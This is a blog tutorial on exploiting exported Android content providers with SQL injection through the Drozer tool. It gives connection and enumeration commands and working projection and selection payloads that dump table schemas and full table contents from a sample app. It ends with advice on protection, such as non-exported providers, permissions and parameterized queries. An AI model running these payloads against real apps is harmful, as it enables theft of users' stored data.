If you are familiar with Android apps development, you have dealt with components for sure (although maybe you don’t know them with that name) and specifically, with content providers. In this post, I am going to talk about how to use SQL injection to access data provided by this kind of components and how to be protected against this kind of attacks.
But before, a bit of context to introduce the components of an Android app and content providers.
What is a component in an Android app?
An android app can contain several components with a specific aim and different lifecycle. These components, according to the official Android documentation, are entry points through which the system or a user can enter our app and help to define the general behaviour.
The four components of an Android app are:
- Content providers
- Broadcast receivers.
Apart from the content providers, I am not going to explain in detail each component because I would have to write a new blog post but you can read all the information in the official documentation or even read our posts about Android services.
What is a content provider?
As its name says, is the responsible for providing an Android app data, managing the access to it. This data can be stored in the file system, in a SQLite database, in the Web or in any other persistent storage location accessible from our app.
By using a content provider:
- Any app with the corresponding permissions can read or even modify the data, by using an API standard set that allows to perform the needed transactions.
- Our app can read or write private data that is not shared.
In our case, we are going to focus on trying to access the content provider of our app by using a different one, from which we will inject SQL.
Preparing the attack to a content provider
We are going to use an Android security testing tool named Drozer, so the first thing we have to do is download it and install it on our computer. We will also need an apk file we will install in an Android device and that contain the agent app from which we will access to the content provider of our app and do the SQL injection.
Once we have installed the Drozer console on our computer and the agent app in our device, connecting the two parts is what is left. Let’s follow the next steps:
1. Configure a port-forwarding so that our computer can be connected to the TCP socket opened by the agent (drozer uses the 31415 port by default)
adb forward tcp:31415 tcp:31415
2. Launch the agent app in the device and start up the embedded server
|2.1. Enable the server||2.2. Wait for the confirmation message|
3. Connect using the drozer console:
Note: all the commands to be used in this post are for Linux, for Windows please read the Drozer README.
drozer console connect
Once executed this command, we will get something like:
Selecting xxxxxxxxxxxxxx (samsung SM-G935F 7.0) .. ..:. ..o.. .r.. ..a.. . ....... . ..nd ro..idsnemesisand..pr .otectorandroidsneme. .,sisandprotectorandroids+. ..nemesisandprotectorandroidsn:. .emesisandprotectorandroidsnemes.. ..isandp,..,rotectorandro,..,idsnem. .isisandp..rotectorandroid..snemisis. ,andprotectorandroidsnemisisandprotec. .torandroidsnemesisandprotectorandroid. .snemisisandprotectorandroidsnemesisan: .dprotectorandroidsnemesisandprotector. drozer Console (v2.4.3) dz>
4. Then, we will execute a Drozer module to list the packages installed in the device.
dz> run app.package.list
If we want to search a specific application package, we can execute the command:
dz> run app.package.list -f app_name
In this point, we should have the application package to attack. Let’s say that the application package is something like com.org.testapp.
5. With the next command, we will identify the app components vulnerable to be attacked, like the ones that have been exported to be used for other apps.
dz> run app.package.attacksurface com.org.testapp
Once executed this command, we would get something like:
Attack Surface: 2 activities exported 1 broadcast receivers exported 2 content providers exported 2 services exported is debuggable
As we can see here, there are two content providers that are vulnerable.
6. Once we know there are content providers that can be attacked, we will use a Drozer scanning module to obtain a list with URIs that contain accessible content.
dz> run scanner.provider.finduris -a com.org.testapp
We can see below what we would get after executing this command, which tell us that those content provider URIs contains data we can get.
Scanning com.org.testapp... Unable to Query content://org.testapp.documents/ Unable to Query content://org.testapp.documents Able to Query content://org.testapp Unable to Query content://org.testapp.images/ Unable to Query content://org.testapp.images Able to Query content://org.testapp/ Accessible content URIs: content://org.testapp content://org.testapp/
We have managed to obtain the URIs to attack but before starting with the injection, let’s have a quick look to some SQL concepts. For those who already know the SQL projection and selection concepts, you can skip directly to the step 7 in SQL injection section.
SQL concepts review
- Projection: it enable us to choose the columns of the table we are querying to.
- Selection: it enable us to use a condition to choose the rows of the table we are querying to.
Let’s see an example with a basic query to a table we have named videos:
With this query, we wan to get the fields name, size and format (columns – projection) of all those entries (rows – selection) which size is bigger than 20.
SQL injection over projection in a content provider
This kind of attack enable us to insert SQL code in a SQL query projection, taking advantage of an Android app vulnerability in the input validation, to perform operations in a database through the content provider.
7. Let’s go back to the drozer console to perform the first SQL injection over projection.
dz> run app.provider.query content://org.testapp/ --projection "*FROM SQLITE MASTER WHERE type='table';--"
With this command, we are injecting the statement “*FROM SQLITE MASTER WHERE type=’table’;–“ en la proyección de la consulta SQL, with which we will access to information related to all the database tables. By writing “;–“ at the end of the statement, we are forcing the query to be finished there, commenting all that could go after it and the system is waiting.
Let’s see a scheme to understand better the SQL injection we have performed with the previous command:
The output for that command, could be something like:
| type | name | tbl_name | rootpage | sql | | table | documents | documents | 3 | CREATE TABLE documents(_id INTEGER PRIMARY KEY, name TEXT, description TEXT) | | table | images | images | 4 | CREATE TABLE images(_id INTEGER PRIMARY KEY, name TEXT, size INTEGER, format TEXT) | table | videos | videos | 5 | CREATE TABLE videos(_id INTEGER PRIMARY KEY,name TEXT,size INTEGER, format TEXT, duration INTEGER)
8. To finish, once we know the name of the database tables, let’s get all the data from one of them:
dz>run app.provider.query content://org.testapp/ --projection "* FROM videos;--"
This command would retrieve all the data from the videos table
| _id | name | size | format | duration | | 1 | video1 | 30 | mp4 | 5 | | 2 | video2 | 15 | avi | 2 | 3 | video3 | 140 | mkv | 10 |
SQL injection over selection in a content provider
Then, let’s introduce unexpected SQL code in the selection part of a query.
9. The most known attack over selection is the one based on “1=1 is Always True”.
dz>run app.provider.query content://org.testapp/ --selection "1=1"
In this case, we would get all the accessible data, since the condition inserted in the selection (where 1=1)
This injection is pretty dangerous, since an attacker could get all the data (including users and passwords, if any) by introducing 1=1 in a specific input of the app that performs that request.
How to protect a content provider?
- Regarding to app manifest: the first thing we should ask ourselves when we implement a content provider in our app is if other apps need to have access to it.
- If is not necessary, we should include
android:exported=falsein the manifest. Thus, the content provider wouldn’t appear when we try to perform an attack using drozer or a different tool:
- If is necessary but we just want the content provider to be accessible from apps signed by us, we can add the param
android:protectionLevel="signature"into the app manifest.
- If is not necessary, we should include
- Regarding to permissions (content provider exported to be used for other apps):
- We can define reading and/or writing permissions for the content provider.
- Regarding to queries:
- Projection: check if the fields to query (name, size, format in the example above) exist in the table we want to get the data from.
- Selection: use query parameterized methods.
Parameterized query example
To sum up
In this post, we have introduced concepts about Android components, content providers, how to access data provided by them by using a SQL injection attack over projection and selection and how to be protected against these attacks.
The injection examples included in this post are basic, just to get data, but researching a bit more, it could be possible to modify or even delete the data.